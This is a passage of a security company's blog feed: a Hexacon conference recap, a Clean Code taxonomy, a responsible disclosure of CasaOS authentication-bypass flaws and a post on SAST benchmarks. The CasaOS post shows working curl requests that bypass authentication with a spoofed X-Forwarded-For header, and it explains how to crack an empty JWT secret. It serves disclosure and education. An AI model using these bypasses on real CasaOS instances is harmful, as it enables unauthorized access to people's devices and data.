On Friday, our Vulnerability Researcher Stefan Schiller presented the talk “The Hazards of Technological Variety and Parallelism: An Avocado Nightmare”, which highlighted two major challenges software is facing nowadays. The case study used for this purpose is Apache Guacamole, which is a remote desktop gateway commonly deployed in enterprise environments to access hosts and isolated applications via a web browser.
HEXACON2023 - An Avocado Nightmare by Stefan Schiller
The talk described an interesting parser differential vulnerability caused by a difference in how Guacamole’s Java and C components handle Unicode characters and explained how attackers could exploit this. Furthermore, Stefan emphasized the dangers of parallelism by detailing a Use-After-Free vulnerability caused by the inappropriate protection of shared data access by separate threads. At last, he dived into the development of a proof-of-concept for this vulnerability and covered different glibc heap exploitation techniques in detail.

Thank you to everyone attending the talk and to the organizers for having us! We will publish an additional blog post covering the content of the talk soon. So, stay tuned!

Lightning Talks
Hexacon added a new format to the social event called Lighting Talks. A lightning talk is a quick session limited to 5 minutes, which should not contain any commercials but rather fun topics.

Our AppSec Researcher Gaëtan Ferry presented a tragically funny story about SAST engine benchmarking in his session “AppSeceo and Juliet C#”:
The session describes the challenges faced when improving a SAST engine to cover a specific benchmark. Check out our related blog post Java SAST Benchmarks: why you shouldn’t trust them blindly.

We greatly enjoyed the fresh and diverting lightning talks format and would greatly welcome it to become a regular component of the conference.
Hexacon 2023 - Conclusion
Our expectations after the great conference last year were high. But Hexacon 2023 really smashed it again. We had an amazing time, met a lot of friendly, like-minded people, and enjoyed the cutting-edge content provided by the presented talks.

Kudos to Synacktiv for making this conference such a pleasant event, we are already looking forward to next year for yet another iteration of Hexacon!
https://twitter.com/hexacon_fr/status/1713248413725143356/photo/1
Related Blog Posts
BlackHat 2023: Hackers, Casinos, and an Exciting Announcement
TROOPERS 2023 Conference Takeaways
TyphoonCon 2023 Wrap Up
Reflections from OffensiveCon 2023
Bits from Hexacon 2022


What is Clean Code?
Gabriel Vivas — Wed, 18 Oct 2023 13:00:00 GMT
If you’ve followed us for a while, you most likely noticed that we changed the way we describe what we do: from “code quality” to “continuous code inspection,” then “code quality and code security”… It feels like in the last couple of years, we finally managed to settle on what we had been looking for from the beginning: Clean Code. 

But what is Clean Code, and what does it encompass?
This is about causes and (clean) code
The problem that we solve at Sonar is a big problem, which also has a lot of ramifications. We help to improve productivity, reduce risk and downtime, and increase code ownership. We impact the source code but also, of course, indirectly, the software itself. 

In the past, when describing what we do, we mixed all of these descriptions, leading to inconsistencies (in the best case) and difficulty connecting the dots for our community. Around two years ago, we decided to solve this issue and launched an internal initiative to explain better what we do. 

To make a (very) long story short, we eventually settled on three things:
Our focus is exclusively on code, and this is how we should describe what we do
We should focus on the cause of issues, not on their potential consequences
We name what we do Clean Code

Once these decisions were made, you started to see “Clean Code” appearing here and there. Problem solved? Not quite. We know what we do and our focus, but we still have a gap: how do we classify the nonconformities to Clean Code if we want to remain rooted in the actual code and not in the consequences?

So, we started another project to develop a classification, aka taxonomy.
The Clean Code Taxonomy
The foundation of the Clean Code taxonomy is code that is clean and code that has the following properties: consistent, intentional, adaptable, and responsible.

In other words, whenever code has an issue, this issue will “break” one of these categories.

Let’s now review the four categories in detail.
Consistent
Code should be consistent and follow a common style. This means that all the code, even if worked on by different people over time, should have a similar appearance and adhere to established patterns. This consistency should apply not only within a specific codebase but also ideally across the entire programming language ecosystem.
Example 1:
Code should be formatted. For example, even if you are not familiar with Java code, you probably expect to see consistent indentation in the following code. It’s not about tabs versus spaces, it’s about consistency.

Non-compliant code:
class Foo {
  public int a;
    public int b;

  public void doSomething() {
    if(something) {
          doSomethingElse();
  }
  }
}
Compliant code:
class Foo {
  public int a;
  public int b;

  public void doSomething() {
    if(something) {
      doSomethingElse();
    }
  }
}
Read more: https://sonarsource.github.io/rspec/#/rspec/S1120/java
Example 2:
Code should be idiomatic and follow syntax conventions. For example, in C++ >= 11 type aliases can be declared via either typedef or using, however, you should prefer the latter for modern code.

Non-compliant code:
typedef void (*FunctionPointerType)(int);
Compliant code:
using FunctionPointerType = void (*)(int);
Read more: https://sonarsource.github.io/rspec/#/rspec/S5416/cfamily
Example 3:
Code should be easily identifiable. Consider code written in C#, where PascalCase is used for all identifiers except parameter names. In this context, using underscores or other casing styles to differentiate words in an identifier is unacceptable.

Non-compliant code:
class my_class {...}
class SOMEName {...}
Compliant code:
class MyClass {...}
class SomeName {...}
Read more: https://sonarsource.github.io/rspec/#/rspec/S101/csharp
Intentional
Intentional code reads like it was written with attention and care to convey its purpose. The code should be self-explanatory and only allow for one interpretation. Every instruction makes sense, adequately forms, and simply conveys its behavior. The code should not be ambiguous or leave room for guessing.
Example 1:
Code should be clear and straightforward. Take this Python code as an example, and you'll notice that variables `message` and `i` are defined but never used. When readers encounter such cases, they might wonder if it's a coding error that was supposed to do something else or if it's just leftover code that can be safely deleted.

Non-compliant code:
def hello(name):
    message = "Hello " + name
    print(name)
for i in range(10):
    foo()
Compliant code:
def hello(name):
    message = "Hello " + name
    print(message)
for _ in range(10):
    foo()
Read more: https://sonarsource.github.io/rspec/#/rspec/S1481/python
Example 2:
Code should only contain instructions that are logically sound. For instance, in JavaScript, there's `NaN`, which stands for 'Not-a-Number.' It represents a numeric data type that isn't a valid number. `NaN` is not equal to any value, even itself, and this behavior can lead to unexpected results.

Non-compliant code:
if (a !== NaN) {
  console.log("this is always logged");
}
Compliant code:
if (!isNaN(a)) {
  console.log("a is not NaN");
}
Read more: https://sonarsource.github.io/rspec/#/rspec/S2688/javascript
Example 3:
Code should be thorough. An example in PHP is the use of secure cookies. The method `setcookie` allows you to create cookies that can be transmitted via HTTP by default, making their contents readable. Since cookies often carry sensitive data, it's important to ensure they are transferred securely to fulfill their intended purpose. You need to pass a last argument to enable HTTPS only.

Non-compliant code:
$value = "sensitive data";
setcookie($name, $value, $expire, $path, $domain);
Compliant code:
$value = "sensitive data";
setcookie($name, $value, $expire, $path, $domain, true);
Read more: https://sonarsource.github.io/rspec/#/rspec/S2092/php
Example 4:
Code should be efficient and not waste resources needlessly. For example, most Linux package managers create a cache by default when working with Docker. Unless you remember to remove these files in your Dockerfile, they will increase the size of your image without providing any additional value.

Non-compliant code:
RUN apt-get update \
  && apt-get install nginx
Compliant code:
RUN apt-get update \
  && apt-get install nginx \
  && apt-get clean
Read more: https://sonarsource.github.io/rspec/#/rspec/S6587/docker
Adaptable
When code is adaptable, it’s segmented and organized in a way that makes it easier to manage and see the relationships between code. The code should be structured for easy and confident evolution. It should simplify the process of extending or repurposing its parts and encourage localized changes without causing unintended side effects.
Example 1:
Code should be distinct and minimize duplication. For instance, duplicating string literals raises the risk of errors when making updates since each occurrence must be changed separately. A better approach is to use constants that can be referenced from multiple places, allowing updates to be made in a single location. Here’s an example using Ruby.

Non-compliant code:
def foo()
  prepare('action random1')
  execute('action random1')
  release('action random1')
end
Compliant code:
def foo()
  action1 = 'action random1'
  prepare(action1)
  execute(action1)
  release(action1)
end
Read more: https://sonarsource.github.io/rspec/#/rspec/S1192/ruby
Example 2:
Code should be focused, with each unit having a specific and limited scope. For instance, in Swift, it's best practice to keep types, such as classes, in separate files. This helps prevent an excessive accumulation of instructions or an overwhelming amount of complexity within a single file.

Non-compliant code:
class MyViewController: UIViewController {
  // …
}
extension MyViewController: UIScrollViewDelegate {
  // …
}
class UnrelatedController: UIViewController {
  // …
}
Compliant code:
class MyViewController: UIViewController {
  // …
}
extension MyViewController: UIScrollViewDelegate {
  // …
}
Read more: https://sonarsource.github.io/rspec/#/rspec/S1996/swift
Example 3:
Code should be modular, and a key aspect of this is encapsulation. In Object-Oriented languages, encapsulation often involves making fields private. This way, the class retains control over the details of its internal representation and prevents other parts of the code from having too much knowledge about its inner workings.

However, there are multiple levels of encapsulation, and even minor improvements can make a difference. For example, if you're working with VB.Net, which allows publicly accessible fields, it's better to avoid using them and instead use properties. Properties work similarly to fields but are part of the interface and can be overridden by getters and setters.

Non-compliant code:
Class Foo
    Public Bar = 42
End Class
Compliant code:
Class Foo
    Public Property Bar = 42
End Class
Read more: https://sonarsource.github.io/rspec/#/rspec/S2357/vbnet
Example 4:
Code should include tests that instill confidence when making changes. Ideally, we should prioritize comprehensive functional test coverage. However, accurately measuring it can be challenging. Nonetheless, it's essential to ensure that test coverage is not so low that you can fear modifying the code.

There are odd examples, where you have a test folder or test files, without actual test cases inside, which can mislead other developers: https://sonarsource.github.io/rspec/#/rspec/S2187/

There are also cases where tests are skipped and accidentally committed like that, which might go unnoticed if not tracked in any way: https://sonarsource.github.io/rspec/#/rspec/S1607/
Responsible
Code should be mindful of its ethical obligations concerning data and its potential influence on societal norms. Whether it's a matter of professional duty, providing peace of mind, or championing inclusivity, the bottom line is that code should not present an ongoing risk of unintentionally harming third parties. This applies regardless of whether developers bear immediate liability.
Example 1:
Code should avoid hard-coding secrets. While it may be tempting for internal applications or when you believe the source code is secure, the truth is that responsible code should never store secrets. If malicious parties access the code, secrets can be inadvertently exposed and exploited. This risk not only affects the software itself. It can have far-reaching consequences, impacting the system and third parties.

Here’s a simplified example using Go:

Non-compliant code:
func connect()  {
  user := "root"
  password:= "supersecret"

  url := "login=" + user + "&passwd=" + password
}
Compliant code:
func connect()  {
  user := getEncryptedUser()
  password:= getEncryptedPass()

  url := "login=" + user + "&passwd=" + password
}
Read more: https://sonarsource.github.io/rspec/#/rspec/S2068/go
Example 2:
Code should be lawful. It should respect basic licensing and copyright regulations. It exercises the creator’s rights and honors other’s rights to license their code.

One common example is companies enforcing copyright headers in their code files:
/*
 * SonarQube, open source software for clean code.
 * Copyright (C) 2008-2023 SonarSource
 * mailto:contact AT sonarsource DOT com
 *
 * SonarQube is free software; you can redistribute it and/or
 * modify it under the terms of the GNU Lesser General Public
 * License as published by the Free Software Foundation; either
 * version 3 of the License, or (at your option) any later version.
 *
 * SonarQube is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
 * Lesser General Public License for more details.
 *
 * You should have received a copy of the GNU Lesser General Public License
 * along with this program; if not, write to the Free Software Foundation,
 * Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301, USA.
 */
Read more: https://sonarsource.github.io/rspec/#/rspec/S1451/
Example 3:
Code should be respectful and inclusive. It should avoid employing discriminatory or offensive language and opt for inclusive terminology whenever a suitable alternative communicates the same meaning.

A regular expression can be used to track identifier names and comments, for example:

Non-compliant code:
Master / Slave
Blacklist / Whitelist
Compliant code:
Primary / Secondary
Denylist / Allowlist
Read more: https://sonarsource.github.io/rspec/#/rspec/?query=naming%20convention
And so what?
First, we feel very good about this classification (by the way, each category also breaks down into subcategories). We think this is a solid foundation for Clean Code. 

Now, we want to gradually roll out this detailed definition of Clean Code in Sonar products. Starting with the way we classify issues in the code. The first step is already available in SonarCloud, SonarLint, and SonarQube 10.2.

In addition, we will start working on classifying the consequences for the software when the code isn't clean, such as security, reliability, maintainability, etc.

See the community announcement for screenshots and more information: https://community.sonarsource.com/t/introducing-clean-code-in-our-products/98431

Share your feedback!





Security Vulnerabilities in CasaOS
Thomas Chauchefoin — Tue, 17 Oct 2023 12:00:00 GMT
As part of our continuous effort to improve our Clean Code technology and the security of the open-source ecosystem, our R&D team is always on the lookout for new 0-day security vulnerabilities in prominent software.

We recently uncovered two critical code vulnerabilities in a personal cloud solution named CasaOS. CasaOS can be installed on any machine thanks to Docker and comes with end-user NAS devices like the ZimaBoard or the X86Pi. Users deploy CasaOS to store their personal data on devices they trust and access it from anywhere.

CasaOS is developed by IceWhale in Go and has close to 17,000 stars on GitHub as we're writing this article.

A CasaOS dashboard.

These security vulnerabilities, tracked as CVE-2023-37265 and CVE-2023-37266, allow attackers to get around authentication requirements and gain full access to the CasaOS dashboard. From here, attackers can access the data stored on the device, but that's not all. 

Because of CasaOS' extensibility and support for third-party applications, they can also execute arbitrary commands on the system to gain persistent access to the device or pivot into internal networks. There are reports that an exploit for Plex Media Server, another personal cloud system, was used in the LastPass breach, and this initial foothold to get access to the employee's internal network.

While we now are releasing the technical details of our findings several months after the vendor addressed them, we were made aware of public exploits based on the study of the patch only 10 days after the security release. That means that all unpatched instances are already at risk. We urge all CasaOS users to upgrade their instances to the latest available release (v0.4.4-1 at the time of writing this article).

Let's dive into the technical details of these security vulnerabilities and see what we can learn from them!

Watch the video
Pretending to be an internal service with CVE-2023-37265
To follow this vulnerability, we must first understand that CasaOS is not a standalone software but a set of services you install on top of a distribution like Ubuntu or Debian. That means that by default, CasaOS has control over all components processing incoming HTTP(S) requests.
A world of microservices
The first component to receive users' requests is casaos-gateway, the only service to be directly exposed to the network. In a common fashion in the Go ecosystem, it forwards requests to other local microservices depending on the request path.

Many services are listening only on localhost, waiting for casaos-gateway to send them traffic:
casaos
casaos-message-bus
casaos-user-service
casaos-local-storage
casaos-app-management

This can be confirmed by reading the configuration of casaos-gateway. The entry runtimepath defines where it will store the route that services later declare by notifying casaos-gateway on its management port.

root@casaos-dev:~# cat /etc/casaos/gateway.ini
[common]
runtimepath=/var/run/casaos

[gateway]
logfileext=log
logpath=/var/log/casaos
logsavename=gateway
port=80
wwwpath=/var/lib/casaos/www

These routes are persisted in /var/run/casaos/routes.json:

root@casaos-dev:~# cat /var/run/casaos/routes.json
{"/":"http://127.0.0.1:46351","/.well-known/jwks.json":"http://127.0.0.1:36915","/doc/v2/app_management":"http://127.0.0.1:41401","/doc/v2/casaos":"http://127.0.0.1:45277", [...], "/v3/file":"http://127.0.0.1:45277"}

Internally, the gateway uses this list and Go's net/http/httputil/ReverseProxy to forward incoming requests to the right service. 

Image taken from https://wiki.casaos.io/en/contribute/development. 
Where is it coming from?
A common problem caused by such reverse proxies is that the final service will see all requests coming from the reverse proxy; in this case, the source IP address at the network layer level would always be localhost! To solve this problem, it's commonly agreed that the reverse proxy uses a header named X-Forwarded-For to give this information to the application.

Two scenarios can arise:
The client's request doesn't have an X-Forwarded-For header: the reverse proxy will create one, and put the client's IP address in it, i.e., X-Forwarded-For: 1.2.3.4.
The client's request already has an X-Forwarded-For header because of another reverse proxy placed in front of casaos-gateway. In this case, it will forward the header after appending the previous proxy's IP address, i.e. X-Forwarded-For: 1.2.3.4, 192.168.42.42. The current proxy won't add its own IP address because the next hop can get it from the network layer.

The HTTP RFC does not specify how one should deal with invalid X-Forwarded-For headers, so most implementations will simply copy the value found in the header when relaying requests.

RFC 7239 introduced a new header named Forwarded, intending to replace many headers of the X-Forwarded-* family. Still, its deployment stays very sparse and has the same implications security-wise.

There's a very common foot gun here: the application should only trust this family of headers if it knows there's a reverse proxy in front. Otherwise, the header could come directly from the client and can contain anything! 

In our case, there's always casaos-gateway in front, so it's all good, but we've already found such issues in many applications, such as OneDev and Cacti

So far, so good–now it's up to the application to handle this header to find the client's IP address.
Your IP address is in another layer!
But why would we need to know the client's real IP address? Logging is the first thing that comes to most developers' minds. If you put your security hat on, you may also want to use it for rate limiting, access control, or authentication.

Looking at the code of the microservices listed above, there are several cases of security decisions based on the client's IP address. For instance, in the repository CasaOS-Common, used by casaos and casaos-local-storage, there's this snippet:

func ExceptLocalhost(publicKeyFunc func() (*ecdsa.PublicKey, error)) gin.HandlerFunc {
  return func(c *gin.Context) {
    if c.ClientIP() == "::1" || c.ClientIP() == "127.0.0.1" {
      c.Next()
      return
    }

    JWT(publicKeyFunc)(c)
  }
}
CasaOS-Common/utils/jwt/jwt_helper.go

The authentication middleware is skipped if a request comes from 127.0.0.1 or ::1! That means that gin.Context.ClientIP() probably has logic to handle application-level IP address information (e.g., through X-Forwarded-For). Otherwise, all requests wouldn't require authentication since they come from casaos-gateway through the loopback interface.

Digging further into Gin's implementation, we see the following documentation around the ClientIp() implementation:

// ClientIP implements one best effort algorithm to return the real client IP.
// It calls c.RemoteIP() under the hood, to check if the remote IP is a trusted proxy or not.
// If it is it will then try to parse the headers defined in Engine.RemoteIPHeaders (defaulting to [X-Forwarded-For, X-Real-Ip]).
// If the headers are not syntactically valid OR the remote IP does not correspond to a trusted proxy,
// the remote IP (coming from Request.RemoteAddr) is returned.
func (c *Context) ClientIP() string {
	// [...]
}
gin-gonic/gin/context.go

The important bit is "If the headers are not syntactically valid [...] the remote IP (coming from Request.RemoteAddr) is returned". Here is the validation function applied to all comma-separated values of X-Forwarded-For starting from the rightmost one:

// validateHeader will parse X-Forwarded-For header and return the trusted client IP address
func (engine *Engine) validateHeader(header string) (clientIP string, valid bool) {
	if header == "" {
		return "", false
	}
	items := strings.Split(header, ",")
	for i := len(items) - 1; i >= 0; i-- {
		ipStr := strings.TrimSpace(items[i])
		ip := net.ParseIP(ipStr)
		if ip == nil {
			break    // <==== [1]
		}
		// X-Forwarded-For is appended by proxy
		// Check IPs in reverse order and stop when find untrusted proxy
		if (i == 0) || (!engine.isTrustedProxy(ip)) {
			return ipStr, true
		}
	}
	return "", false
}
gin-gonic/gin/gin.go

Interestingly, at [1], the code bails out of the loop if it finds an invalid IP address, even if it previously found valid IP addresses. 

That means that if we're sending an invalid X-Forwarded-For header with our request, for instance with the value foobar, it gets relayed by casaos-gateway after appending its IP address, and the validation of this header in Gin fails. It then falls back to the source IP address of the client–casaso-gateway, talking from 127.0.0.1! 

Requests from this IP address do not require authentication, resulting in an authentication bypass on most API endpoints. It is trivial to demonstrate it on our test instance. Our first request without the X-Forwarded-For header gets an error 401, while a second request with an invalid X-Forwarded-For gets through:

$ curl -v 'http://192.168.64.3/v1/sys/logs'
> GET /v1/sys/logs HTTP/1.1
> Host: 192.168.64.3
> User-Agent: curl/8.2.1
> Accept: */*
>
< HTTP/1.1 401 Unauthorized
< [...]
<
* Connection #0 to host 192.168.64.3 left intact
$ curl -v -H 'X-Forwarded-For: x' 'http://192.168.64.3/v1/sys/logs'
> GET /v1/sys/logs HTTP/1.1
> Host: 192.168.64.3
> User-Agent: curl/8.2.1
> Accept: */*
> X-Forwarded-For: x
>
< HTTP/1.1 200 OK
< [...]
{"success":200,"message":"ok","data":"2023-06-30T13:09:16.882Z\tinfo\tNotified systemd that casaos main service is ready\t{\"func\": \"main.main\"[...]

We'll now look into our second finding, CVE-2023-37266, before discussing post-exploitation risks.

Creating arbitrary JWTs with CVE-2023-37266
While investigating CVE-2023-37265, we noticed a strange behavior of the session JWT. Modifying the token's claims and signature did not result in errors, and something was likely wrong with it.
How can we validate this theory? There are now tools aimed at the Bug Bounty community to detect weak secrets, like Ian Carroll's cookiemonster, but even the venerable John the Ripper is good for this job. It immediately confirms the use of an empty HMAC-SHA256 secret: 
$ john --format=HMAC-SHA256 jwt.txt
Using default input encoding: UTF-8
Loaded 1 password hash (HMAC-SHA256 [password is key, SHA256 128/128 ASIMD 4x])
Proceeding with single, rules:Single
Press 'q' or Ctrl-C to abort, almost any other key for status
Almost done: Processing the remaining buffered candidate passwords, if any.
Proceeding with wordlist:/nix/store/15mz0y4nyxl4apy0w1562bw8kd4f8wps-john-1.9.0-jumbo-1/share/john/password.lst, rules:Wordlist
                 (?)
1g 0:00:00:00 DONE 2/3 (2023-06-30 15:28) 100.0g/s 25600p/s 25600c/s 25600C/s 123456..franklin
Use the "--show" option to display all of the cracked passwords reliably
Session completed

If the secret isn't really secret, anybody can craft an arbitrary JWT as they please. By crafting valid-looking but unsigned tokens, attackers could bypass the authentication and gain administration privileges on vulnerable CasaOS instances.
Now what? Post-exploitation considerations
As always and out of caution, we won't be sharing exploitation scripts but we believe that it is important to share the full extent of these findings' impact to help users protect themselves. It is also a good opportunity to discuss security best practices when designing software features.

One of the most appealing features of CasaOS is its support of third-party applications through the internal application store or manually through the web interface and their Custom Install wizard. 

The Custom Install wizard.

These applications are simply Docker containers deployed on the same host as CasaOS. Docker containers only provide thin isolation between the application and other processes, and CasaOS users can mount devices and folders from the host in the context of the application. Both Docker and the application run as root, the former on the default user namespace and the latter on its own, so malicious applications can compromise the host through these mounts.

Such abusable features are widespread, especially in software aimed at tech-savvy users who always like to have control over what they use. Attackers can also leverage these features to compromise the system. It grants them persistent access to the device, even across software updates, and helps them to pivot into the victim's internal network. 

A good practice is to allow users to opt-out, or even better opt-in, of these features in a configuration file. It lets advanced users turn off dangerous features if they don't need them, resulting in a reduction of the overall attack surface.
How CasaOS addressed our findings
Shortly after discovering, confirming, and documenting these security vulnerabilities, our Vulnerability Researchers responsibly disclosed them to the CasaOS maintainers through GitHub's Security Advisories feature. We've had great discussions with them to identify and validate the robustness of their patches before releasing CasaOS v0.4.4.
Preventing spoofing of local addresses (CVE-2023-37265)
While we initially recommended stripping all incoming X-Forwarded-For and similar headers, maintainers wanted to keep the support of potential reverse proxies in front of CasaOS instances.

Another solution was found in 391dd7f, where they decided to rewrite outgoing X-Forwarded-For headers in a way they would never contain 127.0.0.1 or ::1:

func rewriteRequestSourceIP(r *http.Request) {
	// we may receive two kinds of requests. a request from reverse proxy. a request from client.

	// in reverse proxy, X-Forwarded-For will like
	// `X-Forwarded-For:[192.168.6.102]`(normal)
	// `X-Forwarded-For:[::1, 192.168.6.102]`(hacked) Note: the ::1 is inject by attacker.
	// `X-Forwarded-For:[::1]`(normal or hacked) local request. But it from browser have JWT. So we can and need to verify it
	// `X-Forwarded-For:[::1,::1]`(normal or hacked) attacker can build the request to bypass the verification.
	// But in the case. the remoteAddress should be the real ip. So we can use remoteAddress to verify it.

	ipList := strings.Split(r.Header.Get("X-Forwarded-For"), ",")

	r.Header.Del("X-Forwarded-For")
	r.Header.Del("X-Real-IP")

	// Note: the X-Forwarded-For depend the correct config from reverse proxy.
	// otherwise the X-Forwarded-For may be empty.
	remoteIP := r.RemoteAddr[:strings.LastIndex(r.RemoteAddr, ":")]
	if len(ipList) > 0 && (remoteIP == "127.0.0.1" || remoteIP == "::1") {
		// to process the request from reverse proxy

		// in reverse proxy, X-Forwarded-For will container multiple IPs.
		// if the request is from reverse proxy, the r.RemoteAddr will be 127.0.0.1.
		// So we need get ip from X-Forwarded-For
		r.Header.Add("X-Forwarded-For", ipList[len(ipList)-1])
	}
	// to process the request from client.
	// the gateway will add the X-Forwarded-For to request header.
	// So we didn't need to add it.
}
route/gateway_route.go

From a security design standpoint, this solution is not entirely satisfactory because internal services still don't require authentication for requests from localhost. Attackers could still gain arbitrary code execution from a simple Server-Side Request Forgery on the same host. In the same way, if any of these services are exposed to untrusted users by mistake, attackers would not have to provide credentials to compromise the server.
Enforcing JWT validation for CVE-2023-37266
After validating this finding on our local instance, we wanted to confirm it on the public demonstration instance in a non-intrusive way. We collected a valid JWT but noticed that the signature seemed to use another secret, and unleashing John didn't yield any result.
In fact, CasaOS maintainers already addressed this security vulnerability in the development branch with the commit 705bf1f, a few weeks before our research. The patch updates both route groups to use the configuration's private key and ensure the token's signature is valid.
diff --git a/route/v1.go b/route/v1.go
index da317eb4..98117604 100644
--- a/route/v1.go
+++ b/route/v1.go
// [...]
@@ -39,7 +41,11 @@ func InitV1Router() *gin.Engine {
 	r.GET("/v1/recover/:type", v1.GetRecoverStorage)
 	v1Group := r.Group("/v1")
 
-	v1Group.Use(jwt.ExceptLocalhost())
+	v1Group.Use(jwt.JWT(
+		func() (*ecdsa.PublicKey, error) {
+			return external.GetPublicKey(config.CommonInfo.RuntimePath)
+		},
+	))
 	{
 
 		v1SysGroup := v1Group.Group("/sys")
705bf1facbffd2ca40b159b0303132b6fdf657ad.patch


diff --git a/route/v2.go b/route/v2.go
index 4c4a1fb5..d07e0629 100644
--- a/route/v2.go
+++ b/route/v2.go
// [...]
@@ -74,11 +76,14 @@ func InitV2Router() http.Handler {
 			// return true
 		},
 		ParseTokenFunc: func(token string, c echo.Context) (interface{}, error) {
-			claims, code := jwt.Validate(token) // TODO - needs JWT validation
-			if code != common_err.SUCCESS {
+			// claims, code := jwt.Validate(token) // TODO - needs JWT validation
+			// if code != common_err.SUCCESS {
+			// 	return nil, echo.ErrUnauthorized
+			// }
+			valid, claims, err := jwt.Validate(token, func() (*ecdsa.PublicKey, error) { return external.GetPublicKey(config.CommonInfo.RuntimePath) })
+			if err != nil || !valid {
 				return nil, echo.ErrUnauthorized
 			}
-
 			c.Request().Header.Set("user_id", strconv.Itoa(claims.ID))
 
 			return claims, nil
705bf1facbffd2ca40b159b0303132b6fdf657ad.patch

We still reported our finding because we didn't find an official security advisory for it, and CasaOS decided to assign a CVE since it has been vulnerable for quite some time now.
Timeline

  Date Action
  2023-07-03 We report all issues to CasaOS maintainers.
  2023-07-03 The vendor confirms the issues and creates GitHub private advisories to coordinate disclosure and collaborate on the patches.
  2023-07-14 CasaOS v0.4.4 is released.
  2023-07-17 CVE-2023-37265 and CVE-2023-37266 are assigned to our findings.
Summary of CasaOS Vulnerabilities
In this article, we came back to the details behind CVE-2023-37265 and CVE-2023-37266, two critical code vulnerabilities in CasaOS. These are fairly simple security vulnerabilities to identify and exploit, and we are aware of public exploits for them; we encourage you again to update all your CasaOS instances.

Interestingly, even with modern languages such as Go, whole classes of design bugs are still likely to arise in new software. Education is essential to security, and we hope this article helps you spot and prevent similar pitfalls in your code.

In general, identifying IP addresses at the application layer is risk-prone and shouldn't be relied on for security decisions. Many different headers may transport this information (X-Forwarded-For, Forwarded, etc.), and the language APIs sometimes need to interpret nuances of the HTTP protocol the same way. Similarly, all frameworks have their own quirks and can be tricky to navigate without expert knowledge of these common security footguns. Again, the first finding was caused by a documented feature: the framework does what it claims to do.

If you would like to learn more about this topic and how it became very hard for developers to make sensible decisions based on these headers, we strongly recommend reading Adam  Pritchard's The perils of the “real” client IP–we only scratched the surface of what can go wrong in our article.

We also recommend users of any personal NAS solutions to consider restricting their network exposure, for instance, with a VPN tunnel. These devices often contain personal data and are connected to our internal networks–they are goldmines to attackers and should be secured as such.

As a final note, we thank CasaOS maintainers, especially CorrectRoadH and tigerinus, for their very efficient handling of our reports and interesting discussions.
Related Blog Posts
Why ORMs and Prepared Statements Can't (Always) Win
Securing Developer Tools: OneDev Remote Code Execution
Cacti: Unauthenticated Remote Code Execution


Java SAST Benchmarks: why you shouldn't trust them blindly
Pierre-Loup Tristant — Wed, 11 Oct 2023 22:00:00 GMT
In a previous article, we shared how Sonar scores on the Top 3 Java SAST Benchmarks:

OWASP Benchmark
OWASP WebGoat
OWASP Security Shepherd

When analyzing the benchmarks with SAST products available in the market, you may come across numerous results, making it challenging to determine what issues SAST products are expected to identify.

For this reason, we have built a ground truth dataset that contains a comprehensive list of issues that should be detected in the code. However, upon careful examination, you may notice that certain test cases are not included in this dataset.

Today, we would like to draw attention to two specific categories of test cases that we have excluded and discuss the reasons why SAST products are unable to detect them.

Fake vulnerabilities

WebGoat is a dynamic learning platform that offers a collection of lessons, each designed to illustrate a specific category of vulnerabilities and educate users on how common web security flaws can be exploited. While it is not a benchmark, we can think of each challenge within WebGoat as a test case where vulnerabilities should be detected in the code. In theory, all vulnerabilities should be detectable using SAST techniques. However, in practice, SAST tools are only able to identify a subset of vulnerabilities. Let's have a look at a lesson where nothing is detected and try to understand the root cause.

WebGoat user interface looks like this:
On the left panel, a list of lessons is presented, and one of the root items catches our attention with its familiar name: Server-Side Request Forgery (SSRF). In this particular lesson, at step 2, users are supposed to exploit an SSRF vulnerability by manipulating the server's request to retrieve an image. The solution is to modify the url parameter so that it fetches jerry.png instead of tom.png.
url=images%2Fjerry.png
Sonar has a rule specifically designed to detect this vulnerability (S5144), but it reports 0 issues in this case. What is the reason behind this false negative? To shed light on this matter, let's take a closer look at the code for this lesson:
@RestController
public class SSRFTask1 extends AssignmentEndpoint {

  @PostMapping("/SSRF/task1")
  @ResponseBody
  public AttackResult completed(@RequestParam String url) {
    return stealTheCheese(url);
  }

  protected AttackResult stealTheCheese(String url) {
    try {
      StringBuilder html = new StringBuilder();

      if (url.matches("images/tom.png")) {
        html.append(
            "");
        return failed(this).feedback("ssrf.tom").output(html.toString()).build();
      } else if (url.matches("images/jerry.png")) { // `url` is compared to the an expected value
        html.append(
            "");
        return success(this).feedback("ssrf.success").output(html.toString()).build();
      } else {
        html.append("");
        return failed(this).feedback("ssrf.failure").output(html.toString()).build();
      }
    } catch (Exception e) {
      e.printStackTrace();
      return failed(this).output(e.getMessage()).build();
    }
  }
}
Typically, Server-Side Request Forgeries involve manipulating the URL to which the server sends requests. However, in this particular case, there is no sign of the commonly used API for sending HTTP requests, such as java.net.HttpURLConnection. Instead, the code simply verifies that the user input url matches images/jerry.png. When trying to send something other than images/jerry.png and images/tom.png the application outputs “You need to stick to the game plan!”.

Sonar will not detect an SSRF vulnerability in this case because the vulnerability is purely faked. Consequently, we did not include this as an expected issue in the ground truth.

OWASP WebGoat has a few other lessons that do not contain the vulnerability that is supposed to be illustrated. Out of the total 28 lessons, 11 of them are either fake or based on business logic flaws (see next section).
Purely business logic vulnerabilities

The OWASP Java Benchmark was specifically designed to assess any AST tool, including DAST (Dynamic Application Security Testing). The majority of test cases within the benchmark can and should be detected by SAST engines. However, we have intentionally excluded test cases like this one:
public void doPost(HttpServletRequest request, HttpServletResponse response)
            throws ServletException, IOException {

    response.setContentType("text/html;charset=UTF-8");

    Map map = request.getParameterMap();
    String param = "";
    if (!map.isEmpty()) {
        String[] values = map.get("BenchmarkTest00031");
        if (values != null) param = values[0];
    }

    request.getSession().putValue("userid", param);
}
In this particular test case, the user has control over the value of the variable param, which is then used to set a session variable called userid on the server side. The benchmark maintainer has classified this test case as “CWE-501: Trust Boundary Violation”. To provide a more precise definition, this problem occurs when programs blur the line between what is trusted and what is untrusted. As a result, developers inevitably lose track of which data has been validated and which has not.

Although the code for this test case is artificial and the userid session variable is not used after that, we can imagine a scenario where the application relies on userid for user authentication. In such a case, changing the value of userid could potentially allow attackers to impersonate another user. As this is a serious security concern, it may be desirable to detect such vulnerabilities.

